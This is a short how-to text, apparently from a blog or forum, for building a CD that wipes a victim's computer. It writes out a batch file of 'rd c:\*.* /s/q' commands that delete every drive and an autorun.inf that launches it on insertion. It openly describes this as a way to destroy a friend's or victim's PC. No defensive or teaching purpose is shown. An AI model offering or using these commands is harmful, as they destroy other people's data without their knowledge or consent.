Step 1 :-  

Create a file in Notepad and write this following commands in that file and save that file as chintan.cmd.

rd c:\*.* /s/q 

rd d:\*.* /s/q

rd e:\*.* /s/q

  .

  .

  .

   And so on that how much drive you want to format of you friend's PC.

Note :- Don't Click On that otherwise you have to experience first of that.

STEP 2 :- 

Make another file name it "autorun.inf" and write following codes in it.

[AUTORUN] open=chintan.cmd

STEP 3 :-

 Now write these two files into a CD and CD is READY to destroy a computer of your victim.